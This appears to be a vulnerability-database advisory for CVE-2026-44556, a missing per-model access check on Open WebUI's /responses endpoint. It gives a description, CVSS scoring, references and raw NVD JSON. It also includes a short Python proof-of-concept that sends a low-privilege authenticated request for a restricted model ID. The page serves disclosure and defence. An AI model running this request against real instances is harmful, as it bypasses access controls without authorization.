CVE-2026-44556

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the /responses endpoint in the OpenAI router accepts any authenticated user and forwards requests directly to upstream LLM providers without enforcing per-model access control. While the primary chat completion endpoint (generate_chat_completion) checks model ownership, group membership, and AccessGrants before allowing a request, the /responses proxy only validates that the user has a valid session via get_verified_user. This allows any authenticated user to interact with any model configured on the instance by sending a POST request to /api/openai/responses with an arbitrary model ID. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target-domain:3000/api/openai/responses"

# Valid session cookie for a low-privilege authenticated user
cookies = {
    "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

# Payload targeting a restricted model ID
payload = {
    "model": "gpt-4-privileged-model-id", # Arbitrary model ID
    "messages": [
        {"role": "user", "content": "Exploit test"}
    ]
}

# Send the malicious request
response = requests.post(url, json=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Vulnerability exploited successfully!")
    print("Response:", response.text)
else:
    print("[-] Failed to exploit.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44556
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44556
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44556/
[4] VulDB https://vuldb.com/cve/CVE-2026-44556
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-hp5m-24vp-vq2q

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44556", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:47.097", "lastModified": "2026-05-15T20:16:47.097", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the /responses endpoint in the OpenAI router accepts any authenticated user and forwards requests directly to upstream LLM providers without enforcing per-model access control. While the primary chat completion endpoint (generate_chat_completion) checks model ownership, group membership, and AccessGrants before allowing a request, the /responses proxy only validates that the user has a valid session via get_verified_user. This allows any authenticated user to interact with any model configured on the instance by sending a POST request to /api/openai/responses with an arbitrary model ID. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hp5m-24vp-vq2q", "source": "[email protected]"}]}}